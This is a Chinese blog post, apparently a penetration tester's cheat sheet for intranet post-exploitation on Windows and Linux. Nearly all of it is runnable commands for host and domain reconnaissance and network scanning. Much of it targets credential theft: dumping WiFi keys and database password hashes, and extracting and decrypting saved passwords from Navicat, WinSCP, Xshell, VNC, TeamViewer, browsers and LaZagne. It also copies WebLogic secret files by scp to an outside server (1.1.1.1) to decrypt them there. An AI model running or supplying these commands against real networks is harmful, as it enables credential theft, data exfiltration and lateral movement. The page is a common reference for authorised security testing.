内网信息收集

总结下内网信息收集时用到的方法,由于是想到什么写什么,所以文章比较混乱.....

一、Windows

cmd命令

systeminfo 查看计算机信息
query user 查在线用户
netstat -ano | find "3389" 查看网络连接信息
arp -a 查看arp缓存
route print 查看路由表
wmic product get name,version 查看安装的软件
wmic qfe list 查看已安装的补丁
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 查看杀软详情
wmic bios list full | find /i "vmware" 查看是否为虚拟机
wmic process get caption,executablepath,processid 查看正在运行的进程信息

查看/终止进程:
tasklist /svc
tasklist /s 192.168.80.11 /u admin /p 123 /svc
taskkill /f /im qq.exe
taskkill /pid 2476

快速搜索文件
findstr /c:"DB_USER" /c:"DB_PASSWORD" /si *.php
findstr /c:"user=" /c:"pass=" /c:"pwd=" /c:"password=" /si *.php *.xml

查WiFi密码

netsh wlan show profile
netsh wlan show profile wifi-name key=clear

查mysql密码

select Host,User,Password,authentication_string from mysql.user;

查mssql密码

SELECT name,password_hash FROM master.sys.sql_logins;

提取浏览器已保存的密码

http://www.nirsoft.net/utils/web_browser_password.html  火狐浏览器
http://www.nirsoft.net/utils/chromepass.html  谷歌浏览器
image.png

提取Navicat已保存的密码

工具下载地址:
https://github.com/HyperSine/how-does-navicat-encrypt-password

  1. 从注册表中查询host/username/pwd
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v pwd
image.png
  1. 使用工具进行解密
python NavicatCipher.py dec 5658213B
image.png

提取winscp已保存的密码

工具下载地址:
https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

  1. 查询注册表中winscp保存的密文
shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.80.164"
image.png
  1. 使用winscppwd.exe进行解密
winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6
image.png
  1. 或者直接使用msf中的模块
meterpreter > run post/windows/gather/credentials/winscp 
image.png

提取Xshell已保存的密码

Xshell目前主要有5.x和6.x两个版本,session文件分别保存在如下位置

  • %userprofile%\Documents\NetSarang\Xshell\Sessions
  • %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

解密工具下载地址:
https://github.com/dzxs/Xdecrypt

  1. 查看是否存在xshell配置文件
shell cd "%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions"&dir
image.png
  1. 读取xsh文件中的用户名和密码的密文
shell type "C:\Users\Administrator\Documents\NetSarang Computer\6\Xshell\Sessions\192.168.80.164.xsh"
image.png
  1. 查询用户的SID
shell whoami /user
image.png
  1. 使用脚本进行解密
python Xdecrypt.py -s AdministratorS-1-5-21-464702021-3836885353-1586058702-500 -p "UzQLCHPiipSEypdz5qLORoRblWuytx8aAGFMl3plBK+pi+30QDkGUg=="
image.png
  1. 同样msf中也有相关的模块
meterpreter > run post/windows/gather/credentials/xshell_xftp_password 
image.png

提取SecureCRT已保存的密码

工具下载地址:
https://github.com/HyperSine/how-does-SecureCRT-encrypt-password.git

提取vnc客户端的密码

工具下载地址:
https://www.raymond.cc/blog/crack-or-decrypt-vnc-server-encrypted-password/
以realvnc为例

注册表位置
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
vncpwd.exe 494015f9a35e8b22
image.png

提取teamviewer的密码

实际利用的是CVE-2019-18988漏洞,可以读取Teamviewer的ID和控制密码,如果登录窗口存在密码还会读取Email和登录密码。

meterpreter > run post/windows/gather/credentials/teamviewer_passwords
image.png

提取filezilla已保存的密码

meterpreter > run post/multi/gather/filezilla_client_cred
image.png

使用lazagne导出各种密码

工具下载地址:https://github.com/AlessandroZ/LaZagne

lazagne.exe browsers -firefox -oN
lazagne.exe browsers
lazagne.exe browsers -h
laZagne.exe all -oN

icmp扫描

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

arp扫描

https://github.com/QbsuranAlang/arp-scan-windows-.git
arp-scan.exe -t 192.168.80.0/24

端口扫描

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
powershell -exec bypass
Import-Module C:\Users\Administrator\Desktop\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.80.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt

域内信息收集

net time \\test-lab.lab.com 查看目标主机的时间
net user /domain 查看域内的用户
net accounts /domain 查看域的密码策略
net view /domain 查看有几个域
net group /domain 查看域里面的组
net config workstation 查看当前域
net group "domain admins" /domain 查看域管理员
net group "domain controllers" /domain 查看域控制器
net user user2 /domain 查看指定域账户的信息
net group "domain computers" /domain 查看域内所有主机
wmic computersystem get domain 查看当前域
wmic useraccount get Caption,sid 查看域内所有主机的sid

定位域控

  1. 通常域内主机DNS地址就是域控地址
  2. ping工作站域DNS名称进一步确认
ping lab.com
image.png

二、Linux

icmp扫描

for i in 10.28.98.{1..254}; do if ping -c 1 -w 1 $i &>/dev/null; then echo $i is alived; fi; done

端口扫描

推荐一个python脚本,不需要任何三方依赖
https://github.com/ywolf/F-NAScan.git

python F-NAScan.py -h 192.168.80.148 -p port.ini -m 50 -t 10 -n
python F-NAScan.py -h ip.ini -p port.ini -m 50 -t 10
python F-NAScan.py -h 172.21.0 -p 9200 -m 30 -t 10 -n
python F-NAScan.py -h 192.168.1 -p 21,22,80,161,443,445,873,1080,1099,1433,1434,1521,2049,2375,3306,3389,5432,5984,6379,7001,8001,8080,9200,27017 -m 50 -t 10 -n

nmap

  1. 主机发现
-n 取消反向域名解析
-F 扫描top100端口
--top-ports <number> 扫描开放率最高的number个端口,默认是1000
-Pn 跳过主机发现的过程,默认主机在线
-sn 只进行主机发现,不进行端口扫描,老版本叫-sP
-PR 使用ARP协议进行主机发现
nmap -sn -n 192.168.80.0/24
nmap -sn -PR -n 192.168.80.0/24
  1. 端口扫描
nmap -n 192.168.70.248 -p1099 -Pn
nmap -n -sT 192.168.70.248 -p1099 -Pn

查在线用户/用户登录记录

who
last

配置文件中找数据库的密码

config.php、web.config等
java的站通常在jdbc文件中有数据库的密码

locate WEB-INF | grep .properties
locate WEB-INF | grep jdbc.properties
find / -name *.properties 2>/dev/null
find ./ -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_"

查历史记录

.bash_history
.mysql_history
.rediscli_history
.viminfo

查ssh登录历史

~/.ssh/known_hosts

查内网下的其它主机

arp -a
route -n
cat /proc/net/arp

查SUID可执行文件

find / -perm -u=s -type f 2>/dev/null

查系统信息

uname -a
cat /etc/*-release

解密weblogic控制台的密码

weblogic的密码使用AES(老版本3DES)加密,这两种加密方式都属于对称加密,加密密钥和解密密钥相同。所以我们只要找到服务器上的密文和密钥,就可以解密获得明文密码。这两个文件均位于weblogic的domains目录下,名为SerializedSystemIni.dat和config.xml。

  1. config.xml位于config目录下,我们使用scp命令复制到自己的服务器上
scp config.xml test@1.1.1.1:/tmp/
  1. SerializedSystemIni.dat位于security目录下,同样使用scp命令进行复制
scp SerializedSystemIni.dat test@1.1.1.1:/tmp/
  1. 使用解密工具进行解密,这里使用vulhub中提供的工具
    https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypt

  2. 文件选择SerializedSystemIni.dat,密码为config.xml文件中<node-manager-password-encrypted>的值,如下图解密成功,得到了明文密码

image.png
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,319评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,801评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,567评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,156评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,019评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,090评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,500评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,192评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,474评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,566评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,338评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,212评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,572评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,890评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,169评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,478评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,661评论 2 335